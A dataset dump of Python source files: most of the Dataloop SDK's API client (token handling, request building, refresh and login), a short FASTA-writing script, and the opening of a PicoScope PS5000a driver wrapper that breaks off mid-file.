isinstance(self.state_io, CookieIO)\n\n ##################\n # configurations #\n ##################\n # check for proxies in connection\n self.check_proxy()\n\n # set token if input\n if token is not None:\n self.token = token\n\n # STDOUT\n self.remove_keys_list = ['contributors', 'url', 'annotations', 'items', 'export', 'directoryTree',\n 'attributes', 'partitions', 'metadata', 'stream', 'createdAt', 'updatedAt', 'arch']\n\n # API calls counter\n counter_filepath = os.path.join(os.path.dirname(self.cookie_io.COOKIE), 'calls_counter.json')\n self.calls_counter = CallsCounter(filepath=counter_filepath)\n\n # create a global thread pool to run multi threading\n if num_processes is None:\n num_processes = 4 * multiprocessing.cpu_count()\n self._num_processes = num_processes\n self._thread_pools_names = {'item.download': num_processes,\n 'item.status_update': num_processes,\n 'item.page': num_processes,\n 'annotation.upload': num_processes,\n 'annotation.download': num_processes,\n 'annotation.update': num_processes,\n 'entity.create': num_processes,\n 'dataset.download': num_processes}\n # set logging level\n logging.getLogger('dtlpy').handlers[0].setLevel(logging._nameToLevel[self.verbose.logging_level.upper()])\n\n def __del__(self):\n for name, pool in self._thread_pools.items():\n pool.shutdown()\n for name, thread in self._event_loops_dict.items():\n thread.stop()\n\n @property\n def num_processes(self):\n return self._num_processes\n\n @num_processes.setter\n def num_processes(self, num_processes):\n if num_processes == self._num_processes:\n # same number. no need to do anything\n return\n self._num_processes = num_processes\n for pool_name in self._thread_pools_names:\n self._thread_pools_names[pool_name] = num_processes\n\n for pool in self._thread_pools:\n self._thread_pools[pool].shutdown()\n for name, thread in self._event_loops_dict:\n thread.cancel()\n self._event_loops_dict = dict()\n self._thread_pools = dict()\n\n def create_event_loop_thread(self, name):\n loop = asyncio.new_event_loop()\n event_loop = AsyncThreadEventLoop(loop=loop,\n n=self._num_processes,\n name=name)\n event_loop.daemon = True\n event_loop.start()\n time.sleep(1)\n return event_loop\n\n def event_loops(self, name):\n if name not in self._event_loops_dict:\n self._event_loops_dict[name] = self.create_event_loop_thread(name=name)\n if not self._event_loops_dict[name].loop.is_running():\n if self._event_loops_dict[name].is_alive():\n self._event_loops_dict[name].stop()\n self._event_loops_dict[name] = self.create_event_loop_thread(name=name)\n return self._event_loops_dict[name]\n\n def thread_pools(self, pool_name):\n if pool_name not in self._thread_pools_names:\n raise ValueError('unknown thread pool name: {}. known name: {}'.format(\n pool_name,\n list(self._thread_pools_names.keys())))\n num_processes = self._thread_pools_names[pool_name]\n if pool_name not in self._thread_pools:\n self._thread_pools[pool_name] = ThreadPoolExecutor(max_workers=num_processes)\n pool = self._thread_pools[pool_name]\n assert isinstance(pool, concurrent.futures.ThreadPoolExecutor)\n # if pool._broken:\n # # pool is closed, open a new one\n # self._stopped_pools.append(pool)\n # logger.debug('Global ThreadPool is not running. Creating a new one')\n # pool = ThreadPoolExecutor(max_workers=num_processes)\n # self._thread_pools[pool_name] = pool\n return pool\n\n @property\n def verify(self):\n environments = self.environments\n verify = True\n if self.environment in environments:\n if 'verify_ssl' in environments[self.environment]:\n verify = environments[self.environment]['verify_ssl']\n return verify\n\n @property\n def use_ssl_context(self):\n environments = self.environments\n use_ssl_context = False\n if self.environment in environments:\n if 'use_ssl_context' in environments[self.environment]:\n use_ssl_context = environments[self.environment]['use_ssl_context']\n return use_ssl_context\n\n @property\n def auth(self):\n return {'authorization': 'Bearer ' + self.token}\n\n @property\n def environment(self):\n _environment = self._environment\n if _environment is None:\n _environment = self.cookie_io.get('url')\n if _environment is None:\n _environment = DEFAULT_ENVIRONMENT\n self._environment = _environment\n return _environment\n\n @environment.setter\n def environment(self, env):\n self._environment = env\n self.cookie_io.put('url', env)\n\n @property\n def fetch_entities(self):\n if self._fetch_entities is None:\n self._fetch_entities = self.cookie_io.get('fetch_entities')\n if self._fetch_entities is None:\n self.fetch_entities = True # default\n return self._fetch_entities\n\n @fetch_entities.setter\n def fetch_entities(self, val):\n self._fetch_entities = val\n self.cookie_io.put('fetch_entities', val)\n\n @property\n def environments(self):\n \"\"\"\n List of known environments\n :return:\n \"\"\"\n # get environment login parameters\n _environments = self._environments\n if _environments is None:\n # take from cookie\n _environments = self.cookie_io.get('login_parameters')\n # if cookie is None - init with defaults\n if _environments is None:\n # default\n _environments = DEFAULT_ENVIRONMENTS\n # save to local variable\n self.environments = _environments\n else:\n # save from cookie to ram\n self._environments = _environments\n return _environments\n\n @environments.setter\n def environments(self, env_dict):\n self._environments = env_dict\n self.cookie_io.put(key='login_parameters', value=self._environments)\n\n @property\n def verbose(self):\n if self._verbose is None:\n self._verbose = Verbose(cookie=self.cookie_io)\n assert isinstance(self._verbose, Verbose)\n return self._verbose\n\n @property\n def token(self):\n _token = self._token\n if _token is None:\n environments = self.environments\n if self.environment in environments:\n if 'token' in environments[self.environment]:\n _token = environments[self.environment]['token']\n return _token\n\n @token.setter\n def token(self, token):\n # set to variable\n self._token = token\n self.refresh_token = None\n # set to cookie file\n environments = self.environments\n if self.environment in environments:\n environments[self.environment]['token'] = token\n else:\n environments[self.environment] = {'token': token}\n self.environments = environments\n\n @property\n def refresh_token(self):\n environments = self.environments\n refresh_token = None\n if self.environment in environments:\n if 'refresh_token' in environments[self.environment]:\n refresh_token = environments[self.environment]['refresh_token']\n return refresh_token\n\n @refresh_token.setter\n def refresh_token(self, token):\n environments = self.environments\n if self.environment in environments:\n environments[self.environment]['refresh_token'] = token\n else:\n environments[self.environment] = {'refresh_token': token}\n self.refresh_token_active = True\n self.environments = environments\n\n def add_environment(self, environment, audience, client_id, auth0_url,\n verify_ssl=True, token=None, refresh_token=None, alias=None, use_ssl_context=False):\n environments = self.environments\n if environment in environments:\n logger.warning('Environment exists. Overwriting. env: {}'.format(environment))\n if token is None:\n token = None\n if alias is None:\n alias = None\n environments[environment] = {'audience': audience,\n 'client_id': client_id,\n 'auth0_url': auth0_url,\n 'alias': alias,\n 'token': token,\n 'refresh_token': refresh_token,\n 'verify_ssl': verify_ssl,\n 'use_ssl_context': use_ssl_context}\n self.environments = environments\n\n def info(self, with_token=True):\n \"\"\"\n Return a dictionary with current information: env, user, token\n :param with_token:\n :return:\n \"\"\"\n user_email = 'null'\n if self.token is not None:\n payload = jwt.decode(self.token, algorithms=['HS256'], verify=False)\n user_email = payload['email']\n information = {'environment': self.environment,\n 'user_email': user_email}\n if with_token:\n information['token'] = self.token\n return information\n\n def export_curl_request(self, req_type, path, headers=None, json_req=None, files=None, data=None):\n curl, prepared = self._build_gen_request(req_type=req_type,\n path=path,\n headers=headers,\n json_req=json_req,\n files=files,\n data=data)\n return curl\n\n def _build_gen_request(self, req_type, path, headers, json_req, files, data):\n req_type = req_type.upper()\n valid_request_type = ['GET', 'DELETE', 'POST', 'PUT', 'PATCH']\n assert req_type in valid_request_type, '[ERROR] type: %s NOT in valid requests' % req_type\n\n # prepare request\n headers_req = self.auth\n headers_req['User-Agent'] = requests_toolbelt.user_agent('dtlpy', __version__.version)\n if headers is not None:\n if not isinstance(headers, dict):\n raise exceptions.PlatformException(error='400', message=\"Input 'headers' must be a dictionary\")\n for k, v in headers.items():\n headers_req[k] = v\n req = requests.Request(method=req_type,\n url=self.environment + path,\n json=json_req,\n files=files,\n data=data,\n headers=headers_req)\n # prepare to send\n prepared = req.prepare()\n # save curl for debug\n command = \"curl -X {method} -H {headers} -d '{data}' '{uri}'\"\n method = prepared.method\n uri = prepared.url\n data = prepared.body\n headers = ['\"{0}: {1}\"'.format(k, v) for k, v in prepared.headers.items()]\n headers = \" -H \".join(headers)\n curl = command.format(method=method, headers=headers, data=data, uri=uri)\n return curl, prepared\n\n @Decorators.token_expired_decorator\n def gen_request(self, req_type, path, data=None, json_req=None, files=None, stream=False, headers=None,\n log_error=True):\n \"\"\"\n Generic request from platform\n :param req_type: type of the request: GET, POST etc\n :param path: url (without host header - take from environment)\n :param data: data to pass to request\n :param json_req: json to pass to request\n :param files: files to pass to request\n :param stream: stream to pass the request\n :param headers: headers to pass to request. auth will be added to it\n :param log_error: if true - print the error log of the request\n :return:\n \"\"\"\n curl, prepared = self._build_gen_request(req_type=req_type,\n path=path,\n headers=headers,\n json_req=json_req,\n files=files,\n data=data)\n self.last_curl = curl\n self.last_request = prepared\n # send request\n try:\n resp = self.send_session(prepared=prepared, stream=stream)\n except Exception:\n logger.error(self.print_request(req=prepared, to_return=True))\n raise\n self.last_response = resp\n # handle output\n if not resp.ok:\n self.print_bad_response(resp, log_error=log_error and not self.is_cli)\n return_type = False\n else:\n try:\n # print only what is printable (dont print get steam etc..)\n if not stream:\n self.print_response(resp)\n except ValueError:\n # no JSON returned\n pass\n return_type = True\n return return_type, resp\n\n @Decorators.token_expired_decorator\n async def gen_async_request(self,\n req_type,\n path,\n data=None,\n json_req=None,\n files=None,\n stream=None,\n headers=None,\n log_error=True,\n filepath=None,\n chunk_size=8192,\n pbar=None,\n is_dataloop=True):\n req_type = req_type.upper()\n valid_request_type = ['GET', 'DELETE', 'POST', 'PUT', 'PATCH']\n assert req_type in valid_request_type, '[ERROR] type: %s NOT in valid requests' % req_type\n\n # prepare request\n if is_dataloop:\n full_url = self.environment + path\n headers_req = self.auth\n headers_req['User-Agent'] = requests_toolbelt.user_agent('dtlpy', __version__.version)\n else:\n full_url = path\n headers = dict()\n headers_req = headers\n\n if headers is not None:\n if not isinstance(headers, dict):\n raise exceptions.PlatformException(error='400', message=\"Input 'headers' must be a dictionary\")\n for k, v in headers.items():\n headers_req[k] = v\n req = requests.Request(method=req_type,\n url=full_url,\n json=json_req,\n files=files,\n data=data,\n headers=headers_req)\n # prepare to send\n prepared = req.prepare()\n # save curl for debug\n command = \"curl -X {method} -H {headers} -d '{data}' '{uri}'\"\n headers = ['\"{0}: {1}\"'.format(k, v) for k, v in prepared.headers.items()]\n headers = \" -H \".join(headers)\n curl = command.format(method=prepared.method,\n headers=headers,\n data=prepared.body,\n uri=prepared.url)\n self.last_curl = curl\n self.last_request = prepared\n # send request\n try:\n timeout = aiohttp.ClientTimeout(total=0)\n async with RetryClient(headers=headers_req,\n timeout=timeout) as session:\n try:\n async with session._request(request=session._client.request,\n url=self.environment + path,\n method=req_type,\n json=json_req,\n data=data,\n headers=headers_req,\n chunked=stream,\n retry_attempts=5,\n retry_exceptions={aiohttp.client_exceptions.ClientOSError,\n aiohttp.client_exceptions.ServerDisconnectedError,\n aiohttp.client_exceptions.ClientPayloadError},\n raise_for_status=False) as request:\n if stream:\n pbar = self.__get_pbar(pbar=pbar,\n total_length=request.headers.get(\"content-length\"))\n if filepath is not None:\n to_close = False\n if isinstance(filepath, str):\n to_close = True\n buffer = open(filepath, 'wb')\n elif isinstance(filepath, io.BytesIO):\n pass\n else:\n raise ValueError('unknown data type to write file: {}'.format(type(filepath)))\n try:\n while True:\n chunk = await request.content.read(chunk_size)\n if not chunk:\n break\n buffer.write(chunk)\n if pbar is not None:\n pbar.update(len(chunk))\n finally:\n if to_close:\n buffer.close()\n\n if pbar is not None:\n pbar.close()\n text = await request.text()\n try:\n _json = await request.json()\n except:\n _json = dict()\n response = AsyncResponse(text=text,\n _json=_json,\n async_resp=request)\n except Exception as err:\n response = AsyncResponseError(error=err, trace=traceback.format_exc())\n finally:\n with threadLock:\n self.calls_counter.add()\n except Exception:\n logger.error(self.print_request(req=prepared, to_return=True))\n raise\n self.last_response = response\n # handle output\n if not response.ok:\n self.print_bad_response(response, log_error=log_error and not self.is_cli)\n return_type = False\n else:\n try:\n # print only what is printable (dont print get steam etc..)\n if not stream:\n self.print_response(response)\n except ValueError:\n # no JSON returned\n pass\n return_type = True\n return return_type, response\n\n async def upload_file_async(self, to_upload, item_type, item_size, remote_url, uploaded_filename,\n remote_path=None, callback=None, mode='skip', item_metadata=None):\n headers = self.auth\n headers['User-Agent'] = requests_toolbelt.user_agent('dtlpy', __version__.version)\n\n pbar = None\n if callback is None:\n if item_size > 10e6:\n # size larger than 10MB\n pbar = tqdm.tqdm(total=item_size,\n unit=\"B\",\n unit_scale=True,\n unit_divisor=1024,\n position=1,\n disable=self.verbose.disable_progress_bar)\n\n def callback(bytes_read):\n pbar.update(bytes_read)\n else:\n def callback(bytes_read):\n pass\n\n timeout = aiohttp.ClientTimeout(total=0)\n async with aiohttp.ClientSession(headers=headers, timeout=timeout) as session:\n try:\n form = aiohttp.FormData({})\n form.add_field('type', item_type)\n form.add_field('path', os.path.join(remote_path, uploaded_filename).replace('\\\\', '/'))\n if item_metadata is not None:\n form.add_field('metadata', json.dumps(item_metadata))\n form.add_field('file', AsyncUploadStream(buffer=to_upload,\n callback=callback,\n name=uploaded_filename))\n url = '{}?mode={}'.format(self.environment + remote_url, mode)\n\n # use SSL context\n ssl_context = None\n if self.use_ssl_context:\n ssl_context = ssl.create_default_context(cafile=certifi.where())\n async with session.post(url,\n data=form,\n verify_ssl=self.verify,\n ssl=ssl_context) as resp:\n text = await resp.text()\n try:\n _json = await resp.json()\n except:\n _json = dict()\n response = AsyncResponse(text=text,\n _json=_json,\n async_resp=resp)\n except Exception as err:\n response = AsyncResponseError(error=err, trace=traceback.format_exc())\n finally:\n if pbar is not None:\n pbar.close()\n with threadLock:\n self.calls_counter.add()\n return response\n\n def __get_pbar(self, pbar, total_length):\n # decide if create progress bar for item\n if pbar:\n try:\n if total_length is not None and int(total_length) > 10e6: # size larger than 10 MB:\n pbar = tqdm.tqdm(total=int(total_length),\n unit='B',\n unit_scale=True,\n unit_divisor=1024,\n position=1,\n disable=self.verbose.disable_progress_bar)\n else:\n pbar = None\n except Exception as err:\n pbar = None\n logger.debug('Cant decide downloaded file length, bar will not be presented: {}'.format(err))\n return pbar\n\n def send_session(self, prepared, stream=None):\n if self.session is None:\n self.session = requests.Session()\n retry = Retry(\n total=5,\n read=5,\n connect=5,\n backoff_factor=0.3,\n # use on any request type\n method_whitelist=False,\n # force retry on those status responses\n status_forcelist=(501, 502, 503, 504, 505, 506, 507, 508, 510, 511),\n raise_on_status=False\n )\n adapter = HTTPAdapter(max_retries=retry,\n pool_maxsize=np.sum(list(self._thread_pools_names.values())),\n pool_connections=np.sum(list(self._thread_pools_names.values())))\n self.session.mount('http://', adapter)\n self.session.mount('https://', adapter)\n resp = self.session.send(request=prepared, stream=stream, verify=self.verify, timeout=None)\n\n with threadLock:\n self.calls_counter.add()\n return resp\n\n @staticmethod\n def check_proxy():\n \"\"\"\n Verify that dataloop urls are not blocked\n :return:\n \"\"\"\n proxy_envs = ['HTTP', 'HTTPS', 'http', 'https']\n dataloop_urls = ['dev-gate.dataloop.ai',\n 'gate.dataloop.ai',\n 'dataloop-development.auth0.com',\n 'dataloop-production.auth0.com']\n if True in [env in os.environ for env in proxy_envs]:\n # check if proxy exists\n if True in [env in os.environ for env in ['no_proxy', 'NO_PROXY']]:\n # check if no_proxy exists\n if 'no_proxy' in os.environ:\n # check if dataloop urls in no_proxy\n if True not in [url in os.environ['no_proxy'] for url in dataloop_urls]:\n # no dataloop url exists in no_proxy\n logger.warning('Proxy is used, make sure dataloop urls are in \"no_proxy\" environment variable')\n else:\n # check if dataloop urls in no_proxy\n if True not in [url in os.environ['NO_PROXY'] for url in dataloop_urls]:\n # no dataloop url exists in no_proxy\n logger.warning('Proxy is used, make sure dataloop urls are in \"no_proxy\" environment variable')\n else:\n logger.warning('Proxy is used, make sure dataloop urls are in \"no_proxy\" environment variable')\n\n def token_expired(self, t=60):\n \"\"\"\n Check token validation\n :param t: time ahead interval in seconds\n \"\"\"\n try:\n if self.token is None or self.token == '':\n expired = True\n else:\n payload = jwt.decode(self.token, algorithms=['HS256'], verify=False)\n d = datetime.datetime.utcnow()\n epoch = datetime.datetime(1970, 1, 1)\n now = (d - epoch).total_seconds()\n exp = payload['exp']\n if now < (exp - t):\n expired = False\n else:\n expired = True\n except jwt.exceptions.DecodeError:\n logger.exception('Invalid token.')\n expired = True\n except Exception:\n logger.exception('Unknown error:')\n expired = True\n if expired:\n if self.renew_token_method():\n expired = False\n return expired\n\n @staticmethod\n def is_json_serializable(response):\n try:\n response_json = response.json()\n return True, response_json\n except ValueError:\n return False, None\n\n ##########\n # STDOUT #\n ##########\n def print_response(self, resp=None):\n \"\"\"\n Print tabulate response\n :param resp: response from requests\n :return:\n \"\"\"\n try:\n if resp is None:\n resp = self.last_response\n is_json_serializable, results = self.is_json_serializable(response=resp)\n if self.verbose.print_all_responses and is_json_serializable:\n if isinstance(results, dict):\n to_print = miscellaneous.List([results])\n elif isinstance(results, list):\n to_print = miscellaneous.List(results)\n else:\n logger.debug('Unknown response type: {}. cant print'.format(type(results)))\n return\n request_id = resp.headers.get('x-request-id', 'na')\n logger.debug('--- [Request] Start ---')\n logger.debug(self.print_request(req=resp.request, to_return=True))\n logger.debug('--- [Request] End ---')\n logger.debug('--- [Response][x-request-id:{}] Start ---'.format(request_id))\n to_print.print(show_all=False, level='debug')\n logger.debug('--- [Response][x-request-id:{}] End ---'.format(request_id))\n except Exception:\n logger.exception('Printing response from gate:')\n\n def print_bad_response(self, resp=None, log_error=True):\n \"\"\"\n Print error from platform\n :param resp:\n :param log_error: print error log (to use when trying request more than once)\n :return:\n \"\"\"\n if resp is None:\n resp = self.last_response\n msg = ''\n if hasattr(resp, 'status_code'):\n msg += '[Response <{val}>]'.format(val=resp.status_code)\n if hasattr(resp, 'reason'):\n msg += '[Reason: {val}]'.format(val=resp.reason)\n if hasattr(resp, 'text'):\n msg += '[Text: {val}]'.format(val=resp.text)\n\n request_id = resp.headers.get('x-request-id', 'na')\n logger.debug('--- [Request] Start ---')\n logger.debug(self.print_request(req=resp.request, to_return=True))\n logger.debug('--- [Request] End ---')\n logger.debug('--- [Response][x-request-id:{}] Start ---'.format(request_id))\n if log_error:\n logger.error(msg)\n else:\n logger.debug(msg)\n logger.debug('--- [Response][x-request-id:{}] End ---'.format(request_id))\n self.platform_exception = PlatformError(resp)\n\n def print_request(self, req=None, to_return=False, with_auth=False):\n \"\"\"\n Print a request to the platform\n :param req:\n :param to_return: return string instead of printing\n :param with_auth: print authentication\n :return:\n \"\"\"\n if not req:\n req = self.last_request\n\n headers = list()\n for k, v in req.headers.items():\n if k == 'authorization' and not with_auth:\n continue\n headers.append('{}: {}'.format(k, v))\n if hasattr(req, 'body'):\n body = req.body\n elif isinstance(req, aiohttp.RequestInfo):\n body = {'multipart': 'true'}\n else:\n body = dict()\n\n # remove secrets and passwords\n try:\n body = json.loads(body)\n if isinstance(body, dict):\n for key, value in body.items():\n hide = any([field in key for field in ['secret', 'password']])\n if hide:\n body[key] = '*' * len(value)\n except Exception:\n pass\n\n msg = '{}\\n{}\\n{}'.format(\n req.method + ' ' + str(req.url),\n '\\n'.join(headers),\n body,\n )\n if to_return:\n return msg\n else:\n print(msg)\n\n ################\n # Environments #\n ################\n def setenv(self, env):\n \"\"\"\n Set environment\n :param env:\n :return:\n \"\"\"\n environments = self.environments\n if env.startswith('http'):\n if env not in environments.keys():\n msg = 'Unknown environment. Please add environment to SDK (\"add_environment\" method)'\n logger.error(msg)\n raise ConnectionError(msg)\n else:\n matched_env = [env_url for env_url, env_dict in environments.items() if env_dict['alias'] == env]\n if len(matched_env) != 1:\n known_aliases = [env_dict['alias'] for env_url, env_dict in environments.items()]\n raise ConnectionError(\n 'Unknown platform environment: \"{}\". Known: {}'.format(env, ', '.join(known_aliases)))\n env = matched_env[0]\n if self.environment != env:\n self.environment = env\n # reset local token\n self._token = None\n self.refresh_token_active = True\n logger.info('Platform environment: {}'.format(self.environment))\n if self.token_expired():\n logger.info('Token expired, Please login.')\n\n ##########\n # Log in #\n ##########\n def login_secret(self, email, password, client_id, client_secret=None, force=False):\n \"\"\"\n Login with email and password from environment variables.\n If already logged in with same user - login will NOT happen. see \"force\"\n\n :param email: user email.\n :param password: user password\n :param client_id: auth0 client id\n :param client_secret: secret that match the client id\n :param force: force login. in case login with same user but want to get a new JWT\n :return:\n \"\"\"\n return login_secret(api_client=self,\n email=email,\n password=password,\n client_id=client_id,\n client_secret=client_secret,\n force=force)\n\n def login_m2m(self, email, password, client_id=None, client_secret=None, force=False):\n \"\"\"\n Login with email and password from environment variables\n :param email: user email. if already logged in with same user - login will NOT happen. see \"force\"\n :param password: user password\n :param client_id:\n :param client_secret:\n :param force: force login. in case login with same user but want to get a new JWT\n :return:\n \"\"\"\n return login_m2m(api_client=self,\n email=email,\n password=password,\n client_id=client_id,\n client_secret=client_secret,\n force=force)\n\n def login_token(self, token):\n \"\"\"\n Login using existing token\n :param token: a valid token\n :return:\n \"\"\"\n self.token = token # this will also set the refresh_token to None\n\n def login(self, audience=None, auth0_url=None, client_id=None):\n \"\"\"\n Login using Auth0.\n :return:\n \"\"\"\n return login(api_client=self,\n audience=audience,\n auth0_url=auth0_url,\n client_id=client_id)\n\n def logout(self):\n \"\"\"\n Logout.\n :return:\n \"\"\"\n return logout(api_client=self)\n\n def _renew_token_in_dual_agent(self):\n renewed = False\n try:\n proxy_port = os.environ.get('AGENT_PROXY_MAIN_PORT') or \"1001\"\n resp = requests.get('http://localhost:{port}/get_jwt'.format(port=proxy_port))\n if resp.ok:\n self.token = resp.json()['jwt']\n renewed = True\n else:\n self.print_bad_response(resp)\n except Exception:\n logger.exception('Failed to get token from proxy')\n\n return renewed\n\n def renew_token(self):\n refresh_method = os.environ.get('DTLPY_REFRESH_TOKEN_METHOD', None)\n if refresh_method is not None and refresh_method == 'proxy':\n return self._renew_token_in_dual_agent()\n return self._renew_token_with_refresh_token()\n\n def _renew_token_with_refresh_token(self):\n renewed = False\n if self.refresh_token_active is False:\n return renewed\n logger.debug('RefreshToken: Started')\n if self.token is None or self.token == '':\n # token is missing\n logger.debug('RefreshToken: Missing token.')\n self.refresh_token_active = False\n if self.refresh_token is None or self.refresh_token == '':\n # missing refresh token\n logger.debug('RefreshToken: Missing \"refresh_token\"')\n self.refresh_token_active = False\n if self.environment not in self.environments.keys():\n # env params missing\n logger.debug('RefreshToken: Missing environments params for refreshing token')\n self.refresh_token_active = False\n\n if self.refresh_token_active is False:\n return renewed\n\n refresh_token = self.refresh_token\n\n env_params = self.environments[self.environment]\n if 'gate_url' not in env_params:\n env_params['gate_url'] = gate_url_from_host(environment=self.environment)\n self.environments[self.environment] = env_params\n token_endpoint = \"{}/token?default\".format(env_params['gate_url'])\n\n payload = {\n 'type': 'refresh_token',\n 'refresh_token': refresh_token\n }\n logger.debug(\"RefreshToken: Refreshing token via {}\".format(token_endpoint))\n resp = requests.request(\"POST\",\n token_endpoint,\n json=payload,\n headers={'content-type': 'application/json'})\n if not resp.ok:\n logger.debug('RefreshToken: Failed')\n self.print_bad_response(resp)\n else:\n response_dict = resp.json()\n # get new token\n final_token = response_dict['id_token']\n self.token = final_token\n self.refresh_token = refresh_token\n # set status back to pending\n logger.debug('RefreshToken: Success')\n renewed = True\n return renewed\n\n def set_api_counter(self, filepath):\n self.calls_counter = CallsCounter(filepath=filepath)\n\n def _get_resource_url(self,\n resource_type,\n project_id=None,\n dataset_id=None,\n item_id=None,\n package_id=None,\n service_id=None):\n\n env = self._environments[self._environment]['alias']\n if env == 'prod':\n head = 'https://console.dataloop.ai'\n elif env == 'dev':\n head = 'https://dev-con.dataloop.ai'\n elif env == 'rc':\n head = 'https://rc-con.dataloop.ai'\n elif env == 'local':\n head = 'https://localhost:8443/'\n else:\n raise exceptions.PlatformException(error='400', message='Unknown environment: {}'.format(env))\n\n if resource_type == 'project':\n url = head + '/projects/{}'.format(project_id)\n elif resource_type == 'dataset':\n url = head + '/projects/{}/datasets/{}'.format(project_id, dataset_id)\n elif resource_type == 'item':\n url = head + '/projects/{}/datasets/{}/items/{}'.format(project_id, dataset_id, item_id)\n elif resource_type == 'package':\n url = head + '/projects/{}/packages/{}'.format(project_id, package_id)\n elif resource_type == 'service':\n url = head + '/projects/{}/packages/{}/services/{}'.format(project_id, package_id, service_id)\n else:\n raise exceptions.PlatformException(error='400', message='Unknown resource_type: {}'.format(resource_type))\n return url\n\n def _open_in_web(self,\n resource_type,\n project_id=None,\n dataset_id=None,\n item_id=None,\n package_id=None,\n service_id=None):\n\n import webbrowser\n url = self._get_resource_url(resource_type=resource_type,\n project_id=project_id,\n dataset_id=dataset_id,\n item_id=item_id,\n package_id=package_id,\n service_id=service_id)\n webbrowser.open(url=url, new=2, autoraise=True)\n","repo_name":"Rifat982/Dataloop_rifat","sub_path":"venv/Lib/site-packages/dtlpy/services/api_client.py","file_name":"api_client.py","file_ext":"py","file_size_in_byte":46792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"5531622488","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 10 17:02:56 2019\n\n@author: emilia_chojak\n@e-mail: emilia.chojak@gmail.com\n\"\"\"\nout_file = open(\"sequences.fasta\", \"w\")\n\nheaders = [\"ABC123\", \"DEF456\", \"HIJ789\"]\nsequences = [\"ATCGTACGATCGATCGATCGCTAGACGTATCG\", \"actgatcgacgatcgatcgatcacgact\", \"ACTGAC-ACTGT--ACTGTA----CATGTG\"]\n\ncorrect_sequences = []\n\nfor seq in sequences:\n a = (seq.replace(\"-\", \"\")).upper()\n correct_sequences.append(a)\n\nheaders_and_seqs = dict(zip(headers, correct_sequences))\n\nfor header, seq in headers_and_seqs.items():\n out_file.write(f\">{header}\\n\")\n out_file.write(seq + \"\\n\")\n","repo_name":"emiliachojak/bio-projects","sub_path":"python-beginner/chp2/writing-fasta/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"2415184777","text":"from __future__ import division\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport math\n\n# to load the proper dll\nimport platform\n\n# Do not import or use ill definied data types\n# such as short int or long\n# use the values specified in the h file\n# float is always defined as 32 bits\n# double is defined as 64 bits\nfrom ctypes import byref, POINTER, create_string_buffer, c_float, \\\n c_int16, c_int32, c_uint32, c_void_p, c_int64, CFUNCTYPE\nfrom ctypes import c_int32 as c_enum\n\nfrom picoscope.picobase import _PicoscopeBase\n\n\n# Decorators for callback functions. PICO_STATUS is uint32_t.\ndef blockReady(function):\n \"\"\"typedef void (*ps5000aBlockReady)\n (\n int16_t handle,\n PICO_STATUS status,\n void * pParameter\n )\n \"\"\"\n if function is None:\n return None\n\n callback = CFUNCTYPE(c_void_p, c_int16, c_uint32, c_void_p)\n return callback(function)\n\n\nclass PS5000a(_PicoscopeBase):\n \"\"\"The following are low-level functions for the PS5000.\"\"\"\n\n LIBNAME = \"ps5000a\"\n\n NUM_CHANNELS = 4\n CHANNELS = {\"A\": 0, \"B\": 1, \"C\": 2, \"D\": 3,\n \"External\": 4, \"MaxChannels\": 4, \"TriggerAux\": 5}\n\n ADC_RESOLUTIONS = {\"8\": 0, \"12\": 1, \"14\": 2, \"15\": 3, \"16\": 4}\n\n CHANNEL_RANGE = [{\"rangeV\": 10E-3, \"apivalue\": 0, \"rangeStr\": \"10 mV\"},\n {\"rangeV\": 20E-3, \"apivalue\": 1, \"rangeStr\": \"20 mV\"},\n {\"rangeV\": 50E-3, \"apivalue\": 2, \"rangeStr\": \"50 mV\"},\n {\"rangeV\": 100E-3, \"apivalue\": 3, \"rangeStr\": \"100 mV\"},\n {\"rangeV\": 200E-3, \"apivalue\": 4, \"rangeStr\": \"200 mV\"},\n {\"rangeV\": 500E-3, \"apivalue\": 5, \"rangeStr\": \"500 mV\"},\n {\"rangeV\": 1.0, \"apivalue\": 6, \"rangeStr\": \"1 V\"},\n {\"rangeV\": 2.0, \"apivalue\": 7, \"rangeStr\": \"2 V\"},\n {\"rangeV\": 5.0, \"apivalue\": 8, \"rangeStr\": \"5 V\"},\n {\"rangeV\": 10.0, \"apivalue\": 9, \"rangeStr\": \"10 V\"},\n {\"rangeV\": 20.0, \"apivalue\": 10, \"rangeStr\": \"20 V\"},\n {\"rangeV\": 50.0, \"apivalue\": 11, \"rangeStr\": \"50 V\"},\n ]\n\n CHANNEL_COUPLINGS = {\"DC\": 1, \"AC\": 0}\n\n # has_sig_gen = True\n WAVE_TYPES = {\"Sine\": 0, \"Square\": 1, \"Triangle\": 2,\n \"RampUp\": 3, \"RampDown\": 4,\n \"Sinc\": 5, \"Gaussian\": 6, \"HalfSine\": 7, \"DCVoltage\": 8,\n \"WhiteNoise\": 9}\n\n SWEEP_TYPES = {\"Up\": 0, \"Down\": 1, \"UpDown\": 2, \"DownUp\": 3}\n\n SIGGEN_TRIGGER_TYPES = {\"Rising\": 0, \"Falling\": 1,\n \"GateHigh\": 2, \"GateLow\": 3}\n SIGGEN_TRIGGER_SOURCES = {\"None\": 0, \"ScopeTrig\": 1, \"AuxIn\": 2,\n \"ExtIn\": 3, \"SoftTrig\": 4, \"TriggerRaw\": 5}\n\n # This is actually different depending on the AB/CD models\n # I wonder how we could detect the difference between the oscilloscopes\n # I believe we can obtain this information from the setInfo function\n # by readign the hardware version\n # for the PS6403B version, the hardware version is \"1 1\",\n # an other possibility is that the PS6403B shows up as 6403 when using\n # VARIANT_INFO and others show up as PS6403X where X = A,C or D\n\n AWGPhaseAccumulatorSize = 32\n\n AWGDACInterval = 5E-9 # in seconds\n AWGDACFrequency = 1 / AWGDACInterval\n\n AWG_INDEX_MODES = {\"Single\": 0, \"Dual\": 1, \"Quad\": 2}\n\n MAX_VALUE_8BIT = 32512\n MIN_VALUE_8BIT = -32512\n MAX_VALUE_OTHER = 32767\n MIN_VALUE_OTHER = -32767\n\n EXT_RANGE_VOLTS = 5\n\n def __init__(self, serialNumber=None, connect=True):\n \"\"\"Load DLL etc.\"\"\"\n if platform.system() == 'Linux':\n from ctypes import cdll\n self.lib = cdll.LoadLibrary(\"lib\" + self.LIBNAME + \".so\")\n elif platform.system() == 'Darwin':\n from 